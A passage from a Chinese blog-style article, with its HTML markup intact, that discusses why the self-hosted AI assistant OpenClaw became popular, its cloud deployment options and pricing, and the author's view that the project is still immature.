-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">完全免费开源，并且已经进入可用阶段的托管式AI助手</span></strong><span leaf="">，这也是OpenClaw爆火的起因，在2025年年底，AI使用的方法论已经基本成型，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">无论是工作流、agent，还是mcp、skill</span></strong><span leaf="">，又或者是自己实现的记忆、上下文，AI的使用方和大模型基座的强依赖进行了脱离。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这意味着，除了大模型本身的能力在进化，AI的应用也开始趋于成熟，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">OpenClaw使用的完全托管式AI的设计理念，解放大模型的所有能力，允许AI以助手的方式完成任何事情。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对于熟练使用Claude Code的朋友来说，或许OpenClaw的创新点太过于小，问题又多，但是对于非技术的用户来说，Claude的安全限制多，OpenClaw门槛低上手快，还可以以IM的方式沟通调教。</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">国内爆火的理由？</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这自然就成了爆火的理由，当然在国内OpenClaw如此爆火，我个人觉得腾讯功不可没，腾讯可以说是第一时间跟进了OpenClaw，并且</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">围绕OpenClaw在腾讯云做了活动，还可以一键部署轻应用服务器，几十块钱+几十分钟就可以搞出一个独立的AI助手</span></strong><span leaf="">，然后你就可以“快乐”的养龙虾了。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">腾讯云这价格基本上等同于史低了，而且还可以一键部署OpenClaw。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000627" data-ratio="0.4020618556701031" title="null" data-type="png" data-w="970" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a6e8be99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtsMrxibV9Vrcn1gSEEic8EicLlEpEEcEsrnzxQXHWvsk5iauyPhJEdyVRJLu5QmSJWQrMd3vZ8oTGyOUzp4Ciao4W9OKRQdffdstPKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">相比腾讯云的方案来说，其他国内的Claw，有些虽然进行了一定的国内化魔改更好用，但是客观来说确实太贵了，就比如</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">国内最早的定制化Claw之一Kimi Claw</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">必须要开启Allegretto会员才可以使用该功能，而这个级别的会员按照连续包年来算也要159每月，虽然这个价格对于Coding plan来说并不算很贵，但对于没有相应需求只是想试试AI助手的用户来说，着实有些太贵了。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000625" data-ratio="1.3605577689243027" title="null" data-type="png" data-w="502" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c8edbcc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtuBFtqR1S50Wzbzic92vLYKEPkex07OhC9UuPibcKFfOKgdYAIdybYX8prbjnxmRjUTsLMXSY09bDX61BqOK8LVliaxuSEwdzXhtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除此之外，最值得期待的应该是腾讯要推出的Qclaw</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000629" data-ratio="0.43148148148148147" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d1fad6eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtt0X6OUQQiaLFyLw4jqssxia7PSFtyokMiaicbUUKL3UcV7nJibhxVxdibibKkneEeAtBwtSzM9tT48BlMSXEdO1r8QmSbOL2Q9LHdC2c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果亲自上手过OpenClaw，应该会明白，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">这东西和IM的相性是好不好用很重要的一环</span></strong><span leaf="">，像飞书虽然接口众多，但是平时日常没人用飞书，而且OpenClaw操作飞书文档有点儿问题总是修不好。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000632" data-ratio="0.3608768971332209" title="null" data-type="png" data-w="593" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9c1e328e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtsrBSTicnpmAbcLpwA0gRvqXJkq8OHUtNRcU03ibTDvBS2GF4QGSQS0vJ81qcLr5j5GXicRjK0HYCNvaicwaLnUJQjFicCy1z0JkX5M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; border-width: 0px; border-style: solid; border-color: rgb(229, 229, 229); color: rgb(10, 10, 10); font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; text-align: left; line-height: 1.75; font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; border-width: 0px; border-style: solid; border-color: rgb(229, 229, 229); margin: 1.5em 8px; text-align: justify; line-height: 1.75; font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 14px; letter-spacing: 0.1em; color: rgb(63, 63, 63);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 12px;">我想用OpenClaw做个日报，一个图片他改了2天还改不好</span></span></p></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我是一个微信的深度用户，曾经以各种方式运营过微信机器人4-5年，但是微信bot却一年比一年严格，我用的好几个项目都被封了，相关的接口也被关闭，我的机器人微信被封了不知道多少次，微信之前唯一机器人接入方式是企业微信，不但需要企业认证，实用性也非常差。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">虽然下面这个图是玩梗，但我真希望是真的，这代表我的很多需求都可以托管实现了。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000634" data-ratio="1.6648148148148147" title="null" data-type="png" data-w="1080" style="box-sizing:border-box;border-width:0px;border-style:solid;border-color:rgb(229, 229, 229);display:block;vertical-align:middle;max-width:100%;height:493px;text-align:left;line-height:1.75;font-family:-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size:14px;margin:0.1em auto 0.5em;border-radius:4px;width:296px;" src="https://wechat2rss.xlab.app/img-proxy/?k=fcb8158a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtuyO8mamXXJMJcrtWnGLJaA6jDBpojb7adWT4ia9DsBjtQ4OuqhMIXT4pJE3PTGd8a4yvPibVdJ6YnB0tNjUgWulbvAU8AJsrNz0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">抛开营销，OpenClaw有价值吗？</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我想这是每一个想要了解OpenClaw的用户都想知道的问题，我不敢说我真的很了解，因为我也依旧处于初体验的阶段，但我也分享下我的想法。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我知道所有关于OpenClaw的营销号，都在反复的推行一个概念，就是“养龙虾”。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">什么是“养龙虾”？</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">用技术的方式，通俗易通的讲，就是通</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">过长期的反馈强化矫正，来培养一个更成熟，更有实用价值的AI助</span></strong><span leaf="">手，方法也不复杂，就是构建Skill，管理长期记忆，塑造AI那一套方法。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这套方法论并不新颖，在Claude Code中，长期管理Claude.md就是一种培养AI的方案，上篇文章里我提到Claude Code的开发团队可以长期使用AI编程，其中之一就是，他们会</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">把部分最高指令长期培养在Claude.md</span></strong><span leaf="">，AI编程就会原来越好用，同理。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">听起来好像很靠谱？！</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">虽然原理很靠谱，主流的AI工具也都是这样的做法，但很可惜的是，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(237, 116, 12);"><span leaf="">OpenClaw并不是一个成熟的项目</span></font></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">前面说过，OpenClaw是一个个人开发的项目，开发</span><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(51, 51, 51);"><span 